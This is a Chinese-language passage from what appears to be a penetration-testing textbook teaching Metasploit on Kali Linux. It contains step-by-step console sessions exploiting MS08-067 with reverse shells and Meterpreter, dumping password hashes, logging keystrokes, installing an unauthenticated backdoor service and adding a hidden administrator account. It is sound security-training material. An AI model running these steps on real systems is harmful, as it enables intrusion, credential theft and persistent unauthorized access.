Kali Linux 预装了几款十分好用的髙级漏洞利用程序工具集,其中就有Metasploit 框架(http://www.metasploit.com)。本文将不仅会详细地介绍这款工具,而且还会通过大量行之有效的应用场景来演示它的使用方法,以加深读者对渗透测试的认识。Metasploit 框架是由Ruby程序语言编写的模板化框架,具有很好的扩展性,便于渗透测试人员开发、使用定制的工具模板。Metasploit 的框架可以分为三大类组成部分:库、界面和模板。本文重点关注各个界面和模板的功能。界面(控制台、CU、Web、GUI)基本上是调用功能模板(漏洞利用、有效载荷、辅助工具、加密引擎、NOP)的前端UI。Metasploit框架的每个模板都有不同的作用,它们大体可分为下述模块。

● exploit(漏洞利用程序模板):包含各种 PoC 验证程序,用于验证利用特定漏洞(exploit)的可行性。

● payload(有效载荷模板):包含各种恶意程序,用于在目标系统上运行任意命令。它可能是exploit的一部分,也可能是独立编译的应用程序。

● Auxiliaries(辅助工具模板):包含一系列扫描、嗅探、拨号测试、指纹识别和其他类型的安全评估程序。

● Encoders(编码工具模板):在渗透测试中,这个模板用来加密有效载荷,以避免被杀毒软件、防火墙、IDS/IPS以其他类似的反恶意软件检测出来。

● NOP(空操作模板):这个模板用于在shellcode 中插入NOP(汇编指令)。虽然NOP不会进行实际的操作,但是在构造shellcode时可以用来暂时替代playload,形成完整的shellcode程序。

为了便于读者理解,下文将演示两个著名的Metasploit界面,并讲解相关的指令行选项。每个接口都有各自的各有长处和短处。本文强烈建议读者习惯使用console接口,因为它支持该框架的多数功能。

9.3.1 MSFConsole

MSFConsole是效率最高、功能最强大的高度集成的端界面之一。它便于渗透测试人员充分利用整个漏洞利用程序框架。如需使用 msfconsole ,可在桌面菜单里依次选中Applications | Kali Linux | Exploitation Tools | Metasploit | metasploit framework,或在终端中执行下述指令。

# msfconsole

上述指令将用户带入控制台类型的人机交互界面。如果需要了解所有可用的命令,可以输人下述指令。

msf > help

上述指令将会显示两类命令。一类指令是在整个框架内通用的常规指令,另一类指令则是面向后台数据库的专用指令。后台数据库里存储着评估参数和评估结果。要想查看某个指令的选项说明,可以在有关指令的后面添加-h后缀。例如,我们可通过下述指令查看show命令的使用说明。

msf > show -h

[*] Valid parameters for the "show" command are: all, encoders, nos, exploits, payloads, auxiliary, plugins, options

[*] Additional module-specific parameters are: advanced, evasion, targets, actions

上述命令通常用于显示某个类型的可用模板,或者显示所有模板。常用的指令如下所示。

● show auxiliary:列出全部的辅助工具模板。

● show exploits:列出框架下所有的漏洞利用程序。

● show payloads:列出所有平台下的有效载荷。如果已经选定了一个漏洞利用程序,再使用该命令就只会显示相关的载荷。例如,Windows的载荷将显示与 Windows相关的漏洞利用模板。

● show encoders:显示可用的编码工具模板。

● show nops:显示所有可用的NOP 生成程序。

● show options:显示指定模板的全部设置和选项信息。

● show targets:显示exploit 支持的操作系统类型。

● show advanced:列出所有高级配置选项,以便进行微调。

我们将最具价值的几个常用命令总结为下述表格。您可以在 Metasploit 的控制台(console)中进行上机练习。指令中的斜体字部分,是您来指定的参数。

figure_0239_0106

下一小节将详细讲解这些命令的使用方法,并演示整个框架各个模板的具体功能。

9.3.2 MSFCLI

MSFCLI和MSFConsole相似,它们不仅都采用了命令行界面,而且都可在所有的线程中操作绝大多数的模板。然而,MSFCLI的自动化程度没有MSFConsole高。

如需启动msfcli,可在终端中使用下述指令。

#msfcli –h

上述指令将显示所有可用的模式、模式的相关说明,以及指令所需的参数。请注意msfcli需要使用等号给参数进行赋值,而且所有的选项都区分大小写。下述例子演示了选定、运行特定exploit模板的具体方法。

# msfcli windows/smb/ms08_067_netapi O

[*] Please wait while we load the module tree...

Name Current Setting Required Description

---- --------------- -------- -----------

RHOST      yes  The target address

RPORT 445    yes  Set the SMB service port

SMBPIPE BROWSER   yes  The pipe name to use (BROWSER,

SRVSVC)

上述指令结尾处的选项O,用于显示指定exploit的全部选项。下述指令通过RHOST参数指定目标主机的IP地址。

# msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.7 P

[*] Please wait while we load the module tree...

Compatible payloads

===================

Name       Description

----      -----------

generic/debug_trap   Generate a debug trap in the target process

generic/shell_bind_tcp  Listen for a connection and spawn a command shell

...

在设置好RHOST参数指定了目标IP之后,就应当选取可行的payload,并执行我们选取的exploit。

# msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.7 LHOST =192.168.0.3 PAYLOAD=windows/shell/reverse_tcp E

[*] Please wait while we load the module tree...

[*] Started reverse handler on 192.168.0.3:4444

[*] Automatically detecting the target...

[*] Fingerprint: Windows XP Service Pack 2 - lang:English

[*] Selected Target: Windows XP SP2 English (NX)

[*] Attempting to trigger the vulnerability...

[*] Sending stage (240 bytes) to 192.168.0.7

[*] Command shell session 1 opened (192.168.0.3:4444 -> 192.168.0.7:1027)

Microsoft Windows XP [Version 5.1.2600](C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

上述信息表明,在选定payload并设置好LHOST参数之后,我们获取了目标主机的本地shell控制权。

9.3.3 忍者操练101

本节将讲解漏洞利用框架的各种使用方法。尽管不可能完全展现Metasploit框架的各种功能,但是我们细致地挑选了几个案例,演示了它的最重要的功能。如需深入了解Metasploit框架,请参见官方的在线教程MetasploitUnleashed:http://www.offensive-security.com/metasploit-unleashed/。官方教程深入地讲解了exploit模板开发、漏洞检测以及各种评估技术。

场景1

这个场景将使用Metasploit框架集成的NMap程序进行端口扫描、OS指纹识别,以及服务鉴定。我们在MSFConsole中执行下述指令。

msf > load db_tracker

[*] Successfully loaded plugin: db_tracker

msf > db_nmap -T Aggressive -sV -n -O -v 192.168.0.7

Starting Nmap 5.00 ( http://nmap.org ) at 2010-11-11 22:34 UTC

NSE: Loaded 3 scripts for scanning.

Initiating ARP Ping Scan at 22:34

Scanning 192.168.0.7 [1 port]

Completed ARP Ping Scan at 22:34, 0.00s elapsed (1 total hosts)

Initiating SYN Stealth Scan at 22:34

Scanning 192.168.0.7 [1000 ports]

Discovered open port 445/tcp on 192.168.0.7

Discovered open port 135/tcp on 192.168.0.7

Discovered open port 25/tcp on 192.168.0.7

Discovered open port 139/tcp on 192.168.0.7

Discovered open port 3389/tcp on 192.168.0.7

Discovered open port 80/tcp on 192.168.0.7

Discovered open port 443/tcp on 192.168.0.7

Discovered open port 21/tcp on 192.168.0.7

Discovered open port 1025/tcp on 192.168.0.7

Discovered open port 1433/tcp on 192.168.0.7

Completed SYN Stealth Scan at 22:34, 3.04s elapsed (1000 total ports)

Initiating Service scan at 22:34

Scanning 10 services on 192.168.0.7

Completed Service scan at 22:35, 15.15s elapsed (10 services on 1 host)

Initiating OS detection (try #1) against 192.168.0.7

...

PORT  STATE SERVICE  VERSION

21/tcp  open ftp   Microsoft ftpd

25/tcp  open smtp   Microsoft ESMTP 6.0.2600.2180

80/tcp  open http   Microsoft IIS httpd 5.1

135/tcp open msrpc  Microsoft Windows RPC

139/tcp open netbios-ssn

443/tcpopen https?

445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds

1025/tcp open msrpc  Microsoft Windows RPC

1433/tcp open ms-sql-s  Microsoft SQL Server 2005 9.00.1399; RTM

3389/tcp open microsoft-rdp Microsoft Terminal Service

MAC Address: 00:0B:6B:68:19:91 (Wistron Neweb)

Device type: general purpose

Running: Microsoft Windows 2000|XP|2003

OS details: Microsoft Windows 2000 SP2 - SP4, Windows XP SP2 - SP3, orWindows Server 2003 SP0 - SP2

Network Distance: 1 hop

TCP Sequence Prediction: Difficulty=263 (Good luck!)

IP ID Sequence Generation: Incremental

Service Info: Host: custdesk; OS: Windows

...

Nmap done: 1 IP address (1 host up) scanned in 20.55 seconds

Raw packets sent: 1026 (45.856KB) | Rcvd: 1024 (42.688KB)

上述信息表明,现在已经成功对目标进行扫描,并且扫描结果已经保存在当前的数据库会话中。如需查看扫描阶段识别出来的目标主机和系统服务,可单独使用db_hosts和db_services指令。另外,如果您单独使用NMAP程序扫描过目标主机,而且已经把扫描报告保存为XML格式的文件,那么可以使用db_import_nmap_xml命令把Nmap的扫描报告导入到Metasploit的数据库里。

场景2

这个场景将演示 Metasploit 框架的辅助工具(auxiliaries)模板的使用方法,旨在帮助读者了解辅助工具模板在渗透测试过程中的重要作用。

SNMP字符串扫描程序

这个模板可以对指定网段进行SNMP(Simple Network Management Protocol)扫描,并使用常见的团体字符对SNMP进行测试,最终显示它识别出来的SNMP设备信息。我们来看:

msf > search snmp

[*] Searching loaded modules for pattern 'snmp'...

Auxiliary

=========

Name      Disclosure Date Rank Description

----      -------------- ---- -----------

scanner/snmp/aix_version      normal AIX SNMP

Scanner AuxiliaryModule

scanner/snmp/community       normal SNMP Community

Scanner

……

msf > use auxiliary/scanner/snmp/community

msf auxiliary(community) > show options

Module options:

Name  Current Setting

Required Description

----  ---------------         -----

-- ----------

BATCHSIZE 256            yes

The number of hosts to probe in each set

CHOST               no

The local client address

COMMUNITIES /opt/metasploit3/msf3/data/wordlists/snmp.txt  no

The list of communities that should be attempted per host

RHOSTS              yes

The target address range or CIDR identifier

RPORT  161            yes

The target port

THREADS  1             yes

The number of concurrent threads

msf auxiliary(community) > set RHOSTS 10.2.131.0/24

RHOSTS => 10.2.131.0/24

msf auxiliary(community) > set THREADS 3

THREADS => 3

msf auxiliary(community) > set BATCHSIZE 10

BATCHSIZE => 10

msf auxiliary(community) > run

[*] >> progress (10.2.131.0-10.2.131.9) 0/170...

[*] >> progress (10.2.131.10-10.2.131.19) 0/170...

[*] >> progress (10.2.131.20-10.2.131.29) 0/170...

[*] Scanned 030 of 256 hosts (011% complete)

[*] >> progress (10.2.131.30-10.2.131.39) 0/170...

[*] >> progress (10.2.131.40-10.2.131.49) 0/170...

[*] >> progress (10.2.131.50-10.2.131.59) 0/170...

[*] Scanned 060 of 256 hosts (023% complete)

[*] >> progress (10.2.131.60-10.2.131.69) 0/170...

[*] >> progress (10.2.131.70-10.2.131.79) 0/170...

[*] Scanned 080 of 256 hosts (031% complete)

[*] >> progress (10.2.131.80-10.2.131.89) 0/170...

[*] >> progress (10.2.131.90-10.2.131.99) 0/170...

[*] >> progress (10.2.131.100-10.2.131.109) 0/170...

[*] 10.2.131.109 'public' 'HP ETHERNET MULTI-ENVIRONMENT,ROM none,JETDIRECT,JD128,EEPROM V.33.19,CIDATE 12/17/2008'

[*] Scanned 110 of 256 hosts (042% complete)

...

[*] >> progress (10.2.131.240-10.2.131.249) 0/170...

[*] >> progress (10.2.131.250-10.2.131.255) 0/102...

[*] Scanned 256 of 256 hosts (100% complete)

[*] Auxiliary module execution completed

上述信息表明,程序识别出了一个启用SNMP 功能的设备,而且该设备可以受理团体字符串 public。虽然通过字符串 public 获取的权限只是该设备的只读权限,但是我们仍然可以获取大量有价值的信息。这些信息可能包括系统数据、正在运行的服务程序、网络地址、版本号和补丁信息等。

VNC空密码扫描程序

这个模板将会扫描指定的网段,以搜索可以使用空密码访问的虚机网络计算(Virtual Network Computing,VNC)服务器。进行扫描的指令如下。

msf > use auxiliary/scanner/vnc/vnc_none_auth

msf auxiliary(vnc_none_auth) > show options

msf auxiliary(vnc_none_auth) > set RHOSTS 10.4.124.0/24

RHOSTS => 10.4.124.0/24

msf auxiliary(vnc_none_auth) > run

[*] 10.4.124.22:5900, VNC server protocol version : "RFB 004.000", not supported!

[*] 10.4.124.23:5900, VNC server protocol version : "RFB 004.000", not supported!

[*] 10.4.124.25:5900, VNC server protocol version : "RFB 004.000",not supported!

[*] Scanned 026 of 256 hosts (010% complete)

[*] 10.4.124.26:5900, VNC server protocol version : "RFB 004.000",not supported!

[*] 10.4.124.27:5900, VNC server security types supported : None,free access!

[*] 10.4.124.28:5900, VNC server security types supported : None,free access!

[*] 10.4.124.29:5900, VNC server protocol version : "RFB 004.000",not supported!

...

[*] 10.4.124.224:5900, VNC server protocol version : "RFB 004.000",not supported!

[*] 10.4.124.225:5900, VNC server protocol version : "RFB 004.000",not supported!

[*] 10.4.124.227:5900, VNC server security types supported : None,free access!

[*] 10.4.124.228:5900, VNC server protocol version : "RFB 004.000",not supported!

[*] 10.4.124.229:5900, VNC server protocol version : "RFB 004.000",not supported!

[*] Scanned 231 of 256 hosts (090% complete)

[*] Scanned 256 of 256 hosts (100% complete)

[*] Auxiliary module execution completed

上述信息表明,Metasploit框架确实找到了很多无需验证就可访问的VNC服务器。若不采取身份认证的访问控制措施,这些主机将会招引不速之客访问VNC服务器,终将成为系统管理员的一大威胁。

IIS6 WebDAV Unicode 身份验证旁路漏洞

这个模板将会扫描指定的网段,以搜索存在IIS6 WebDAV 认证旁路漏洞的主机。启动扫描任务的指令如下。

msf > use auxiliary/scanner/http/ms09_020_webdav_unicode_bypass

msf auxiliary(ms09_020_webdav_unicode_bypass) > show options

msf auxiliary(ms09_020_webdav_unicode_bypass) > set RHOSTS

10.8.183.0/24

RHOSTS => 10.8.183.0/24

msf auxiliary(ms09_020_webdav_unicode_bypass) > set THREADS 10

THREADS => 10

msf auxiliary(ms09_020_webdav_unicode_bypass) > run

[-] Folder does not require authentication. [302]

[-] Folder does not require authentication. [400]

[*] Confirmed protected folder http://10.8.183.9:80/ 401 (10.8.183.9)

[*] Testing for unicode bypass in IIS6 with WebDAV enabled using

PROPFIND request.

[-] Folder does not require authentication. [403]

[-] Folder does not require authentication. [302]

[-] Folder does not require authentication. [501]

[-] Folder does not require authentication. [501]

...

[*] Confirmed protected folder http://10.8.183.162:80/ 401(10.8.183.162)

[*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.

...

[*] Confirmed protected folder http://10.8.183.155:80/ 401(10.8.183.155)

[*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.

[*] Confirmed protected folder http://10.8.183.166:80/ 401(10.8.183.166)

[*]Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.

[*] Confirmed protected folder http://10.8.183.168:80/ 401(10.8.183.168)

[*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.

[*] Confirmed protected folder http://10.8.183.167:80/ 401(10.8.183.167)

[*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.

[-] Folder does not require authentication. [501]

[*] Confirmed protected folder http://10.8.183.171:80/ 401(10.8.183.171)

[*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.

[-] Folder does not require authentication. [501]

[-] Folder does not require authentication. [501]

...

[-] Folder does not require authentication. [302]

[*] Confirmed protected folder http://10.8.183.178:80/ 401(10.8.183.178)

[*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.

[-] Folder does not require authentication. [501]

[-] Folder does not require authentication. [501]

[*] Scanned 182 of 256 hosts (071% complete)

[-] Folder does not require authentication. [501]

[*] Confirmed protected folder http://10.8.183.183:80/ 401(10.8.183.183)

[*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.

[-] Folder does not require authentication. [302]

[*] Confirmed protected folder http://10.8.183.188:80/ 401(10.8.183.188)

[*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.

...

[-] Folder does not require authentication. [405]

[*] Scanned 256 of 256 hosts (100% complete)

[*] Auxiliary module execution completed

上述信息表明,Metasploit 框架完成了对目标网段的扫描,已经找到了存在 MS09-020 IIS6 WebDAV Unicode Authentication Bypass漏洞的主机。或许,这种模板有助于我们发现网络中配置不当的服务器,提前发现安全隐患。

场景3

这个场景将会介绍几种常见的payload(bind、reverse 和meterpreter shell),并且以漏洞利用的角度探讨它们的功能。这些实例还将展示payload的使用方法和时机。

bind shell

bind(绑定型)shell用于提供远程shell连接。在成功利用了目标主机上的安全漏洞,并且成功执行了shellcode程序以后,渗透人员可在目标主机上的特定端口上运行bind shell,以让其他主机继续控制这台主机。攻击人员可以使用基于 TCP 连接的标准输入输出(stdin/stdout)隧道工具(例如 Netcat)连接到被攻破的主机,通过 bind shell 继续实施控制。它的应用场合与 Telnet 服务器/客户端十分相似,主要适用于以 NAT(Network Address Translation)方式连入网络的渗透人员、攻击人员的设备与目标主机之间有防火墙的情况,即适用于无法从被测主机直接连接到攻击人员主机IP的各种情况。

可通过下述指令利用主机漏洞并安装bind shell。

msf > use exploit/windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > show options

msf exploit(ms08_067_netapi) > set RHOST 192.168.0.7

RHOST => 192.168.0.7

msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/bind_tcp

PAYLOAD => windows/shell/bind_tcp

msf exploit(ms08_067_netapi) > exploit

[*] Started bind handler

[*] Automatically detecting the target...

[*] Fingerprint: Windows XP Service Pack 2 - lang:English

[*] Selected Target: Windows XP SP2 English (NX)

[*] Attempting to trigger the vulnerability...

[*] Sending stage (240 bytes) to 192.168.0.7

[*] Command shell session 1 opened (192.168.0.3:41289 ->

192.168.0.7:4444) at Sat Nov 13 19:01:23 +0000 2010

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

上述信息表明,Metasploit 通过集成的payload 处理程序自动连接到了bind shell。我们可以自己编写shellcode,利用exploit 程序安装bind shell,然后再使用Netcat 这类第三方工具连接到 bind shell。有关 netcat 在网络安全测试中的各种用途的实例说明,请参见http://en.wikipedia.org/wiki/Netcat。

reverse shell

reverse(反射型)shell与绑定型(bind)shell截然不同。reverse shell不是在目标机器上绑定端口,被动地受理攻击人员的机器连接,而是采用反弹的方法,让被测主机主动地连接攻击者的IP和端口,并提供一个shell。reverse shell适用于被测主机采用NAT方式连接网络的情况,或者被测主机受防火墙保护而使渗透人员不能从外网直接访问被测主机的各种情况。

下述指令可设置安装reverse shell。

msf > use exploit/windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > set RHOST 192.168.0.7

RHOST => 192.168.0.7

msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/reverse_tcp

PAYLOAD => windows/shell/reverse_tcp

msf exploit(ms08_067_netapi) > show options

msf exploit(ms08_067_netapi) > set LHOST 192.168.0.3

LHOST => 192.168.0.3

msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 192.168.0.3:4444

[*] Automatically detecting the target...

[*] Fingerprint: Windows XP Service Pack 2 - lang:English

[*] Selected Target: Windows XP SP2 English (NX)

[*] Attempting to trigger the vulnerability...

[*] Sending stage (240 bytes) to 192.168.0.7

[*] Command shell session 1 opened (192.168.0.3:4444 ->

192.168.0.7:1027) at Sat Nov 13 22:59:02 +0000 2010

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

在安装reverse shell 时需配置攻击者的IP(例如LHOST 192.168.0.3),而在安装(绑定型)bind shell 则没有这项设置。

inline payload和staged payload 的区别有哪些?

inline payload属于自主型shellcode,它的shellcode和exploit都在同一个程序文件里。而 staged payload 在两台主机之间建立通信隧道,并通过隧道执行shellcode程序。如果对payload的文件尺寸有严格要求,那么可使用 staged payload,因为它的文件尺寸比 inline payload的文件小得多。

Meterpreter

Meterpreter是一种先进的、隐蔽的、多功能的、可动态扩展的payload,它可在目标主机的系统内存里注入DLL(注入的DLL完全不会以文件形式存在)。此外,它还支持在运行期间加载脚本和插件。在漏洞利用的后期阶段,它的动态加载特性极大地拓宽了渗透人员的作业空间,方便了提权、保存系统账号、进行关键记录、驻留性后门服务、开启远程桌面等各种操作。默认情况下,Meterpreter shell 会采用全程加密的通信方式。

可通过下述指令利用漏洞并安装Meterpreter payload。

msf > use exploit/windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > set RHOST 192.168.0.7

RHOST => 192.168.0.7

msf exploit(ms08_067_netapi) > show payloads

...

msf exploit(ms08_067_netapi) > set PAYLOAD

windows/meterpreter/reverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(ms08_067_netapi) > show options

...

msf exploit(ms08_067_netapi) > set LHOST 192.168.0.3

LHOST => 192.168.0.3

msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 192.168.0.3:4444

[*] Automatically detecting the target...

[*] Fingerprint: Windows XP Service Pack 2 - lang:English

[*] Selected Target: Windows XP SP2 English (NX)

[*] Attempting to trigger the vulnerability...

[*] Sending stage (749056 bytes) to 192.168.0.7

[*] Meterpreter session 1 opened (192.168.0.3:4444 ->

192.168.0.7:1029) at Sun Nov 14 02:44:26 +0000 2010

meterpreter > help

...

通过上述指令,我们成功地连接到了被测主机的Meterpreter shell,然后我们通过help查看各种可用的命令。下一步,我们要査看当前用户的操作权限,然后通过 getsystem脚本提升自己的权限为系统权限。

meterpreter > getuid

Server username: CUSTDESK\salesdept

meterpreter > use priv

meterpreter > getsystem -h

...

上述指令将会显示提升权限的各种技术。如果不启用任何选项,直接使用getsystem指令将会逐一尝试各种提权技术,直到成功提升到系统权限为止。

meterpreter > getsystem

...got system (via technique 1).

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > sysinfo

Computer: CUSTDESK

OS  : Windows XP (Build 2600, Service Pack 2).

Arch : x86

Language: en_US

如果在指令中启用exploit -j -z选项,那么漏洞利用程序将会在后台运行,您也不会进入交互式的Meterpreter shell。但是,如果程序成功建立了会话,您可以通过sessions -i id指令返回shell的交互界面。如需了解会话的ID,可使用sessions -l指令查看ID的确切值。

接下来,我们要获取被测主机的系统账户和密码。Windows以NTLM哈希(hash)的格式保存用户的账号信息。很多工具和技术都可以破解 NTLM 哈希。现在我们一起见证Meterpreter的真正威力。

meterpreter > run hashdump

[*] Obtaining the boot key...

[*] Calculating the hboot key using SYSKEY 71e52ce6b86e5da0c213566a123

6f892...

[*] Obtaining the user list and keys...

[*] Decrypting user keys...

[*] Dumping password hashes...

h

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e 0c089c0:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c08 9c0:::

HelpAssistant:1000:d2cd5d550e14593b12787245127c866d:d3e35f657c924d0b31eb 811d2d986df9:::

SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:c8edf0d0db48cbf7b 2835ec013cfb9c5:::

Momin Desktop:1003:ccf9155e3e7db453aad3b435b51404ee:3dbde697d71690a769204 beb12283678:::

IUSR_MOMINDESK:1004:a751dcb6ea9323026eb8f7854da74a24:b0196523134dd9a21bf 6b80e02744513:::

ASPNET:1005:ad785822109dd077027175f3382059fd:21ff86d627bcf380a5b1b6abe5d 8e1dd:::

IWAM_MOMINDESK:1009:12a75a1d0cf47cd0c8e2f82a92190b42:c74966d83d519ba41e5 196e00f94e113:::

h4x:1010:ccf9155e3e7db453aad3b435b51404ee:3dbde697d71690a769204beb 12283678:::

salesdept:1011:8f51551614ded19365b226f9bfc33fab:7ad83174aadb77faac126fdd 377b1693:::

接下来,我们通过Meterpreter shell 运行keylog 程序,记录键盘输入的内容。键盘敲击记录可能含有目标主机的多项敏感信息。

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > ps

Process list

============

PID  Name    Arch  Session User Path

---  ----    ----  ----  ---- ----

0   [System Process]

4   System   x86  0   NT AUTHORITY\SYSTEM

384  smss.exe   x86  0   NT AUTHORITY\SYSTEM

\SystemRoot\System32\smss.exe

488  csrss.exe   x86  0   NT AUTHORITY\SYSTEM

\??\C:\WINDOWS\system32\csrss.exe

648  winlogon.exe  x86  0   NT AUTHORITY\SYSTEM

\??\C:\WINDOWS\system32\winlogon.exe

692  services.exe  x86  0   NT AUTHORITY\SYSTEM

C:\WINDOWS\system32\services.exe

704  lsass.exe   x86  0   NT AUTHORITY\SYSTEM

C:\WINDOWS\system32\lsass.exe

...

148  alg.exe  x86  0  NT AUTHORITY\LOCAL SERVICE

C:\WINDOWS\System32\alg.exe

3172  explorer.exe x86  0  CUSTDESK\salesdept

C:\WINDOWS\Explorer.EXE

3236  reader_sl.exe x86  0  CUSTDESK\salesdept

C:\Program Files\Adobe\Reader 9.0\Reader\Reader_sl.exe

接下来,我们把 Meterpreter shell 插入 explorer.exe 的进程(3172),以便开始记录当前用户对系统的操作,所涉及的指令如下。

meterpreter > migrate 3172

[*] Migrating to 3172...

[*] Migration completed successfully.

meterpreter > getuid

Server username: CUSTDESK\salesdept

meterpreter > keyscan_start

Starting the keystroke sniffer...

现在就可以启动键盘记录程序。此后,我们等待程序录取键盘记录。

meterpreter > keyscan_dump

Dumping captured keystrokes...

<Return> www.yahoo.com <Return> <Back> www.bbc.co.uk <Return>

meterpreter > keyscan_stop

Stopping the keystroke sniffer...

上述信息表明,键盘记录程序记录了被测主机的网上活动。类似地,我们可以把它注入到winlogon.exe(pid 648)进程里,获取所有账户的登录信息。

经过上述操作,我们已经获取了被测主机的操作权限。但是如果目标主机安装了漏洞修复程序的补丁,我们就无法利用原有漏洞攻击有关服务或应用程序。为了避免这一情况,我们可以通过常人所说的“后门”服务程序维护自己对目标主机的控制。务必要注意:一旦在被测主机上安装了 Meterpreter提供的后门服务程序,所有人都可以控制被测主机;因为这个后面服务程序不对连入的控制端进行身份验证。换句话说,这个程序可能会让不请自来的人控制被测主机,这无疑是对被测单位形成了安全威胁。在正式的渗透测试业务中,这种有利于第三方攻击的行为通常都被服务合同明文禁止。所以,我们不建议您在正式的测试环境中使用 Meterpreter 提供的后门服务程序。您也应当在拟定合同的范围界定阶段明确有关规则。

msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 192.168.0.3:4444

[*] Automatically detecting the target...

[*] Fingerprint: Windows XP Service Pack 2 - lang:English

[*] Selected Target: Windows XP SP2 English (NX)

[*] Attempting to trigger the vulnerability...

[*] Sending stage (749056 bytes) to 192.168.0.7

[*] Meterpreter session 1 opened (192.168.0.3:4444 ->

192.168.0.7:1032) at Tue Nov 16 19:21:39 +0000 2010

meterpreter > ps

...

292 alg.exe  x86 0  NT AUTHORITY\LOCAL SERVICE

C:\WINDOWS\System32\alg.exe

1840 csrss.exe  x86 2  NT AUTHORITY\SYSTEM

\??\C:\WINDOWS\system32\csrss.exe

528 winlogon.exe x86 2  NT AUTHORITY\SYSTEM

\??\C:\WINDOWS\system32\winlogon.exe

240 rdpclip.exe x86 0  CUSTDESK\Momin Desktop

C:\WINDOWS\system32\rdpclip.exe

1060 userinit.exe x86 0  CUSTDESK\Momin Desktop

C:\WINDOWS\system32\userinit.exe

1544 explorer.exe x86 0  CUSTDESK\Momin Desktop

C:\WINDOWS\Explorer.EXE

...

meterpreter > migrate 1544

[*] Migrating to 1544...

[*] Migration completed successfully.

meterpreter > run metsvc -h

...

meterpreter > run metsvc

[*] Creating a meterpreter service on port 31337

[*] Creating a temporary installation directory

C:\DOCUME~1\MOMIND~1\LOCALS~1\Temp\oNyLOPeS...

[*] >> Uploading metsrv.dll...

[*] >> Uploading metsvc-server.exe...

[*] >> Uploading metsvc.exe...

[*] Starting the service...

* Installing service metsvc

* Starting service

Service metsvc successfully installed.

通过上述指令,我们在被测主机上安装了后门服务程序,现在可以关闭当前的meterpreter会话。在需要控制被测主机的时候,我们可以调用multi/handler中的windows/metsvc_bind_tcp payload,通过后门控制远程主机。

meterpreter > exit

[*] Meterpreter session 1 closed. Reason: User exit

msf exploit(ms08_067_netapi) > back

msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp

PAYLOAD => windows/metsvc_bind_tcp

msf exploit(handler) > set LPORT 31337

LPORT => 31337

msf exploit(handler) > set RHOST 192.168.0.7

RHOST => 192.168.0.7

msf exploit(handler) > exploit

[*] Starting the payload handler...

[*] Started bind handler

[*] Meterpreter session 2 opened (192.168.0.3:37251 ->

192.168.0.7:31337) at Tue Nov 16 20:02:05 +0000 2010

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

此外,Meterpreter 的 getgui 脚本也很有用,它可开启目标主机的远程桌面功能。如需在目标主机上创建新的账号,并强制启用远程桌面服务,可使用下述指令。

meterpreter > run getgui -u btuser -p btpass

[*] Windows Remote Desktop Configuration Meterpreter Script by

Darkoperator

[*] Carlos Perez carlos_perez@darkoperator.com

[*] Language set by user to: 'en_EN'

[*] Setting user account for logon

[*] Adding User: btuser with Password: btpass

[*] Adding User: btuser to local group 'Remote Desktop Users'

[*] Adding User: btuser to local group 'Administrators'

[*] You can now login with the created user

[*] For cleanup use command: run multi_console_command -rc

/root/.msf3/logs/scripts/getgui/clean_up__20101116.3447.rc

现在,我们可通过 rdesktop 程序登录目标主机。我们新建一个终端窗口,并在其中输入下述指令。

# rdesktop 192.168.0.7:3389

请注意:如果已经破解了目标主机的账户名和密码,就不需要新建任何账号,直接执行 run getgui -e 命令启用远程桌面就可以了。另外,在完成渗透工作以后,记得要在Meterpreter shell 里使用getgui/clean_up 脚本程序,以清理痕迹。

如果目标网络不可从外部直接访问,那么应该采取那些手段进一步渗透该网络呢?

Metasploit能够通过跳板进行操作。您可通过routeaddtargetSubnettargetSubnetMask SessionId 的指令,将某个会话指定为跳板。此处 SessionId 指代已经建立的 Meterpreter 会话(即跳板网关), targetsubnet参数指代下一步需要测试的网段(如果被攻陷的主机是双网设备,则可以是它的另一个网段)。Metasploit会通过跳板转发指定的网络流量,这样就可以继续渗透、测试那些无法直接访问到的网络设备。转发流量的主机,就是通常所说的“跳板”或“立足点”。

场景4

上述案例演示了Metasploit框架利用被测主机的远程漏洞的具体方法。那么如何利用客户端程序的漏洞(client-side exploitation)呢?就此问题,本文将以渗透测试人员的角度,通过典型案例介绍Metasploit在利用客户端程序的漏洞方面的角色,帮助读者了解它的灵活性和强大功能。

生成后门程序

